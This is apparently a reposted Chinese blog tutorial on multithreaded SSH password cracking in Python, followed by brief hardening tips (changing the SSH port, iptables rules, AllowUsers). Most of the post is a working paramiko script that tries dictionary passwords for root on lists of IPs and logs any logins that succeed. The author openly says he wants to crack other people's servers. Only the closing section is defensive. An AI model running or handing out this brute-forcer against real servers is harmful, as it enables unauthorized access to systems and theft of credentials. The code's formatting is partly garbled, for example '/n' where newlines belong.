本文和大家分享的主要是python
多線程的ssh
**與防范相關內(nèi)容,一起來看看吧,希望對大家
學習python多線程有所幫助。
0x01.About
這幾天發(fā)現(xiàn)朋友的服務器22
被人爆了,于是想想,也想去爆別人服務器。
爆弱口令時候寫的一個python
小腳本,主要功能是實現(xiàn)使用字典多線程**
ssh
,支持
ip
表導入,字典數(shù)據(jù)導入。
主要使用到的是python
的
paramiko
模塊和多線程
threading
模塊。
那么,首先要準備的是字典dict
、服務器
ip
表。
東西很簡單,主要默認目錄如下:
|--ssh.scan.
py
|--/
log:
sshd
|--/dict:
ip
password
ip
和
password
按照一行一個放置。
0x02.Code
下面上源碼吧,文件保存為ssh.scan.py
,查看使用方式:
python ssh.scan.py -h
#!/usr/bin/
python
python
# -*- coding: utf-8 -*-
import paramiko,threading,sys,time,os
class SSHThread(threading.Thread):
def __init__(self, ip, port, timeout, dic, LogFile):
threading.Thread.__init__(self)
self.ip = ip
self.port = port
self.dict = dic
self.timeout = timeout
self.LogFile = LogFile
def run(self):
print("Start try ssh => %s" % self.ip)
username = "root"
try:
password =
open(self.dict).
read().
split('/n')
except:
print("Open dict file `%s` error" % self.dict)
exit(1)
for
pwd in password:
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(self.ip, self.port, username,
pwd, timeout = self.timeout)
print("/nIP => %s, Login %s => %s /n" % (self.ip, username,
pwd))
open(self.LogFile, "a").
write("[ %s ] IP => %s, port => %d, %s => %s /n" % (time.asctime( time.localtime(time.time()) ), self.ip, self.port, username,
pwd))
break
except:
print("IP => %s, Error %s => %s" % (self.ip, username,
pwd))
pass
def ViolenceSSH(ip, port, timeout, dic, LogFile):
ssh_scan = SSHThread(ip, port, timeout, dic, LogFile)
ssh_scan.start()
def main(ipFile, dic, log):
if ipFile == "-h":
help()
try:
ipText =
open(ipFile).
read().
split('/n')
for ip in ipText:
if ip != '':
time.
sleep(0.5)
threading.Thread(target = ViolenceSSH,
args = (ip, 22, 1, dic, log, )).start()
except:
print("Open IP list file `%s` error" % ipFile)
exit(1)
def
help():
print("python ssh.scan.py
使用說明
:/n/
python ssh.scan.
py ip_file_path dict_file_path ssh_log_path /n")
exit(1)
if __name__ == '__main__':
fpath = os.path.dirname(os.path.abspath('__file__'))
ipFile = sys.argv[1]
if len(sys.argv) > 1
else fpath+"/dict/ip"
dic = sys.argv[2]
if len(sys.argv) > 2
else fpath+"/dict/password"
log = sys.argv[3]
if len(sys.argv) > 3
else fpath+"/log/sshd"
try:
os.system("clear")
main(ipFile, dic, log)
except KeyboardInterrupt:
exit(1)
結果比較丑,自己爆自己服務器:
QQ截圖20170409201802.png (215.46 KB, 下載次數(shù): 0)
下載附件
15 秒前 上傳
0x03.Solution
怎么辦呢?防止被人**,那就修改ssh
默認登陸端口吧。修改方式主要是修改
ssh
配置文件:
1.
修改
iptables
首先要過防火墻,修改防火墻規(guī)則:
/sbin/iptables -A INPUT -m state –state NEW -m tcp -p tcp –dport 2333 -j ACCEPT
保存規(guī)則:
service iptables save
重啟防火墻:
service iptables restart
2.
修改
ssh
配置文件
cp /etc/ssh/ssh_config /etc/ssh/ssh_config.bak
cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak
修改ssh
端口:
vim /etc/ssh/sshd_config
在端口#Port 22
下面增加
Port 2333
vim /etc/ssh/ssh_config
在端口#Port 22
下面增加
Port 2333
重啟ssh
服務:
service sshd restart
3.
其他修改
限制用戶的SSH
訪問
假設我們只要xiaocao
和
homeway
用戶能通過
SSH
使用系統(tǒng),向
sshd_config
配置文件中添加
vim /etc/ssh/sshd_config
修改下面一行:
AllowUsers xiaocao homeway
來源:
雜術館